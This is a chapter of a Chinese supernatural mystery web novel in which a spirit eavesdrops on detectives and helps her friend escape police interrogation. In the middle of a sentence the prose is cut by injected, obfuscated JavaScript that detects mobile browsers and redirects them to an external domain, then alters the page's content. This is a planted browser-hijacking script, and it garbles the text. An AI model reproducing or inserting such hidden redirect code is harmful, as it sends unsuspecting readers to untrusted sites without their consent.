“谢谢。”小柳摸摸扑腾着往裤腿上蹦的绵绵，却拒绝和木青杨一起回木雕店，解释道：“月婷姐还没回来，一定是出了问题，我想去警局探探消息。” “我陪你去。” “不，不，店长，我自己去吧，你没办法……”小柳想说木青杨不会妖术，去了也没法一起进去，但话说出口又怕伤了店长的心，好像在说他没本事一样。 “好，你注意安全，我在家等你。”木青杨见她支支吾吾，没再坚持，拍拍小柳的肩膀叫她小心，抱着绵绵进了门。 小柳的担忧是对的，毒杀案有了新进展。 她以最快速度赶到警局，走过大门，观察了监控范围，找到偏僻处，趁着出门取餐的小警员不注意，收拢灵魄附身在外卖盒上，被小警员晃晃悠悠提进了门。 小柳很幸运，拿外卖的警员刚好是调查萧晴毒杀案的刑警之一，啪嗒，外卖盒被搁在桌上，众人讨论正激烈，没人想着吃饭。 “小赵，汇报一下审讯情况。”赵队站在白板前，拿着根马克笔问。 “那个叫小伍的，刚问完，什么都没问出来，就是个打工的。李正宇一口咬定自己出差了，什么都不知道。” 赵队扭身在白板上画了两笔。 小柳努力张望，视线穿过众人，想看清白板上写了什么，只见月婷的名字被圈红了，受到同样待遇的还有三个字——李正宇。 这是谁？小柳一头雾水，竖起耳朵接着听下去。 “赵队，这像是情杀啊。”小赵警官看着白板上的各路线索，若有所思地说。 赵队想给年轻人一个机会，示意她接着往下说。 “萧晴家找到的日记本，最新一篇提到王月婷和李正宇有私情，萧晴死在王月婷店里，李正宇又刚好在这个节骨眼儿上出差。凶手不是王月婷就是李正宇，甚至可能是他们俩合谋的。” 赵队点点头，方向是对的，可小赵还是太过武断，目前还需要找到更多线索，重点是撬开王月婷和李正宇的嘴。 小柳听这帮人分析，简直是一派胡言，谁有私情？就算有私情怎么就成凶手了？她必须先一步救月婷出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126333|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不能任由这帮神经病诬陷她。 她脱离外卖盒，从门缝里钻出去，从这个人身上跳到那个人身上，附在消防栓上、门牌上，终于摸到了审讯室的大门。 “月婷姐！”月婷捕捉到门把手上那不自然的闪光，慌张地看了眼监控，又皱着眉瞪了一眼门把手，小柳怎么会冒冒失失跑进来？ 小柳管不了那么多，赶紧把自己听到的原原本本向月婷复述。 李正宇？月婷记得偶尔能在萧晴嘴里听到这个名字，“我们家正宇”通常和“不争气”、“没什么本事”缀在一起，月婷还以为“正宇”是萧晴的儿子呢，没想到是她老公，更让人匪夷所思的是警察竟然认为自己和李正宇有一腿，这可是天大的冤枉。 小柳敏锐地听到有脚步声越来越近，见月婷还一副若有所思的样子，顿时急了，朝监控摄像头用力一击，催她赶紧脱身。 月婷显然也听到了脚步声，把心一横，带着小柳溜出了审讯室，好汉不吃眼前亏，等出去再调查也不迟。 不知道这帮警察干什么吃的，调查了半天竟然会怀疑自己害了萧晴，这一定是有人诬陷。 月婷妖术比小柳熟练，抓着小柳一个转身便出了警局，把赵队暴怒的吼叫抛在身后。 警局建在市中心，后院连着一片四通八达的胡同，月婷和小柳一头扎进去，七拐八拐地跑出去好远，停在了一处狭窄小巷子。 “姐，他们怎么说你是凶手？李正宇是谁？”小柳双手撑着膝盖，弯腰喘着粗气问。 月婷抚着她的背，气冲冲地回答：“我哪儿知道，查了一晚上还冤枉好人，李正宇是萧晴的老公，警察非说我和他有奸情。” “那我们现在怎么办？是不是不能回家了？警察会不会以为你畏罪潜逃？”小柳气喘匀了，拉着月婷的手担心地说，刚刚光顾着逃跑，现在才觉得后怕。 “没办法，总不能关在屋里一直被拷问吧，只能抓紧时间先去调查，把背后诬陷我的人揪出来，才能洗脱罪名。” 月婷看小柳半晌才缓过劲，猜测她之前中枪伤伤了元气，摸摸小柳的头说道：“今天你来的路上应该没被发现吧，快回家去，和店长待在一起，别管我了，别被警察逮到。” “不行，姐……” 月婷打断了小柳的话，劝说：“你的伤还没好利索，咱们一起目标太大更容易暴露，我现在就去店里和萧晴家看能不能找出线索，你回家帮忙照顾我妈，帮我打打掩护，别让她担心。” “不行，我不放心你。”小柳紧紧拉着月婷的手，说道：“家里有店长呢，放心吧，我跟你一起去。” 月婷见她这么坚决便不再劝阻，带着小柳一起行动，穿过胡同，回到主干道。 月婷猜的没错，小柳坚持到现在确实有点吃不消，明明背上的枪伤已经愈合得差不多了，现在又一阵阵刺痛，月婷快步过了马路，小柳却因背痛没跟上，被红灯挡下。 她在马路对面看到月婷姐回头张望，二人视线交错，又被缓缓开过来的洒水车隔开，绿灯亮起，洒水车开走，小柳却发现马路对面的月婷消失了。